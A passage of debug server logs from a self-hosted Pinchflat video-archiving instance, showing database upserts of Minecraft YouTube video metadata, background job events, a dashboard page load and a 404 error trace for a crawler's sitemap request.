("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "723bc4fa-4a0a-4ce7-8082-ac5500c4f883", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 19:05:50.433 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:05:50.434 [debug] QUERY OK source="media_items" db=1.1ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-10 22:16:00Z], 2] 19:05:50.435 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "25e532bf-1ea0-4e55-8c76-53e98d905768", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", 18, "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, false, false, 2, [], 98, ~U[2026-05-10 22:16:00Z], ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], "Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, 2, ~U[2026-05-10 22:16:00Z]] 19:05:50.435 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z], 2] 19:05:50.437 [debug] QUERY OK source="media_items" db=1.3ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:05:50.439 [debug] QUERY OK source="media_items" db=1.2ms idle=4.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:05:50.439 [debug] QUERY OK source="media_items" db=0.4ms idle=4.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 19:05:50.440 [debug] QUERY OK source="tasks" db=0.2ms idle=2.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17081, 2, ~U[2026-08-20 02:05:50Z], ~U[2026-08-20 02:05:50Z]] 19:05:50.441 [info] {"args":{"id":2},"id":17076,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":24420509,"event":"job:stop","queue_time":200283,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:06:00.163 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:06:17.716 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:47.718 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.164 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:07:17.720 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:47.722 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.165 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:08:10.381 [info] GET / 19:08:10.381 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:08:10.381 [debug] QUERY OK source="settings" db=0.1ms idle=1599.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:10.382 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1137.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:08:10.382 [debug] QUERY OK source="sources" db=0.0ms idle=599.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:08:10.383 [debug] QUERY OK source="media_items" db=1.0ms idle=600.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:08:10.384 [debug] QUERY OK source="media_items" db=0.4ms idle=137.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:08:10.384 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:10.384 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:10.385 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:08:10.385 [debug] QUERY OK source="tasks" db=0.1ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:08:10.386 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:08:10.386 [debug] QUERY OK source="media_items" db=0.4ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:08:10.387 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 19:08:10.389 [debug] QUERY OK source="media_items" db=1.5ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:08:10.390 [debug] QUERY OK source="media_items" db=0.9ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:08:10.391 [info] Sent 200 in 10ms 19:08:17.724 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:47.726 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.166 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:09:17.728 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:47.730 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.167 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:10:17.732 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:47.734 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.168 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:11:17.736 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:47.738 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.169 [info] {"source":"oban","duration":403,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:12:17.431 [info] GET /sitemap.xml 19:12:17.431 [debug] QUERY OK source="settings" db=0.1ms idle=1649.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:12:17.432 [debug] QUERY OK source="settings" db=0.1ms idle=880.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:12:17.432 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:12:17.432 [error] #PID<0.164022.0> running PinchflatWeb.Endpoint (connection #PID<0.164021.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164021.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33104}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164022.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1hmSAK-Eee-D0AFsqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164021.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33104}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.164021.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33104}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.41", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.216.41" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.164022.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.41"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.216.41"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revali (truncated) 19:12:17.740 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:47.742 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 19:13:00.170 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:13:17.744 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:47.746 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.171 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:14:17.748 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:47.750 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.172 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:15:17.752 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:47.754 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.173 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:16:17.756 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:47.758 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.174 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:17:17.760 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:47.762 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.175 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:18:17.764 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:47.766 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 19:19:00.176 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:19:17.768 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 19:19:47.770 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.177 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:20:17.772 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:47.774 